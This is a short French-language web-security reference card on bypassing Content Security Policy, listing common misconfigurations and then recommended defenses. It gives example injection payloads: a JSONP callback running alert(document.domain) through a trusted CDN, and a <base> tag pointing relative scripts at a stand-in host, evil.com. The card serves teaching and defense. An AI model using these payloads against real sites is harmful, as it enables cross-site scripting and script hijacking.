CSP Bypass — Contournement de Content Security Policy
★★★★★
Contexte
La CSP est une défense en profondeur contre le XSS. Une politique mal configurée laisse cependant des angles d'exécution : sources trop permissives, unsafe-inline, domaines de confiance hébergeant des gadgets JSONP, ou base-uri non verrouillée.
Faiblesses fréquentes
# unsafe-inline -> XSS inline directement exploitable
Content-Security-Policy: script-src 'unsafe-inline'
# Domaine de confiance avec endpoint JSONP
<script src="https://trusted.cdn/jsonp?callback=alert(document.domain)">
# Absence de base-uri -> injection de <base> pour détourner les scripts relatifs
<base href="https://evil.com/">
# Wildcard ou data: dans script-src
script-src * / script-src data: Défenses
Politique stricte basée sur nonces ou hashes (pas unsafe-inline), strict-dynamic, base-uri 'none', object-src 'none', éviter les domaines hébergeant des gadgets JSONP/Angular, et tester la politique avec l'évaluateur CSP de Google.